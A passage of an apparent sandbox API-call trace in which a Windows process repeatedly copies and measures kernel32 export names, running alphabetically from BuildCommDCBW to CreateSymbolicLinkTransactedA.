returned="BuildCommDCBW" [0149.128] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0149.128] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0149.128] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0149.128] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0149.128] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0149.128] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0149.128] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0149.128] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0149.128] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0149.128] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0149.128] lstrlenA (lpString="CANCELIO") returned 8 [0149.128] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0149.128] lstrlenA (lpString="CANCELIOEX") returned 10 [0149.128] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0149.128] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0149.128] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0149.128] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0149.128] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0149.129] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0149.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0149.129] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0149.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0149.129] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0149.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0149.129] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0149.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0149.129] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0149.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0149.129] lstrlenA (lpString="CHECKELEVATION") returned 14 [0149.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0149.129] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0149.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0149.129] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0149.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0149.129] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0149.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0149.129] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0149.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0149.129] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0149.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0149.129] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0149.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0149.129] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0149.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0149.129] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0149.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0149.129] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0149.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0149.130] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0149.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0149.130] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0149.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0149.130] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0149.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0149.130] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0149.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0149.130] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0149.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0149.130] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0149.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0149.130] lstrlenA (lpString="CLOSESTATE") returned 10 [0149.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0149.130] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0149.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0149.130] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0149.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0149.130] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0149.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0149.130] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0149.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0149.130] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0149.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0149.130] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0149.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0149.130] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0149.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0149.131] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0149.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0149.131] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0149.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0149.131] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0149.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0149.131] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0149.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0149.131] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0149.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0149.131] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0149.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0149.131] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0149.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0149.131] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0149.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0149.131] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0149.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0149.131] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0149.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0149.131] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0149.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0149.131] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0149.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0149.131] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0149.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0149.131] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0149.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0149.132] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0149.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0149.132] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0149.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0149.132] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0149.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0149.132] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0149.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0149.132] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0149.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0149.132] lstrlenA (lpString="COPYCONTEXT") returned 11 [0149.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0149.132] lstrlenA (lpString="COPYFILE2") returned 9 [0149.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0149.132] lstrlenA (lpString="COPYFILEA") returned 9 [0149.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0149.132] lstrlenA (lpString="COPYFILEEXA") returned 11 [0149.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0149.132] lstrlenA (lpString="COPYFILEEXW") returned 11 [0149.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0149.132] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0149.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0149.132] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0149.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0149.132] lstrlenA (lpString="COPYFILEW") returned 9 [0149.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0149.132] lstrlenA (lpString="COPYLZFILE") returned 10 [0149.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0149.132] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0149.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0149.133] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0149.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0149.133] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0149.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0149.133] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0149.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0149.133] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0149.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0149.133] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0149.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0149.133] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0149.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0149.133] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0149.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0149.133] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0149.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0149.133] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0149.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0149.133] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0149.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0149.133] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0149.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0149.133] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0149.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0149.133] lstrlenA (lpString="CREATEEVENTA") returned 12 [0149.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0149.133] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0149.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0149.134] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0149.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0149.134] lstrlenA (lpString="CREATEEVENTW") returned 12 [0149.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0149.134] lstrlenA (lpString="CREATEFIBER") returned 11 [0149.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0149.134] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0149.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0149.134] lstrlenA (lpString="CREATEFILE2") returned 11 [0149.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0149.134] lstrlenA (lpString="CREATEFILEA") returned 11 [0149.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0149.134] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0149.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0149.134] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0149.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0149.134] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0149.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0149.134] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0149.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0149.134] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0149.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0149.134] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0149.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0149.134] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0149.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0149.134] lstrlenA (lpString="CREATEFILEW") returned 11 [0149.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0149.134] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0149.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0149.135] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0149.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0149.135] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0149.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0149.135] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0149.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0149.135] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0149.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0149.135] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0149.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0149.135] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0149.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0149.135] lstrlenA (lpString="CREATEJOBSET") returned 12 [0149.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0149.135] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0149.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0149.135] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0149.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0149.135] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0149.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0149.135] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0149.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0149.135] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0149.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0149.135] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0149.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0149.135] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0149.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0149.135] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0149.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0149.136] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0149.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0149.136] lstrlenA (lpString="CREATEPIPE") returned 10 [0149.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0149.136] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0149.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0149.136] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0149.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0149.136] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0149.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0149.136] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0149.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0149.136] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0149.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0149.136] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0149.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0149.136] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0149.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0149.136] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0149.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0149.136] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0149.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0149.136] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0149.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0149.136] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0149.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0149.136] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0149.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0149.137] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0149.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0149.137] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0149.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0149.137] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0149.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0149.137] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0149.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") 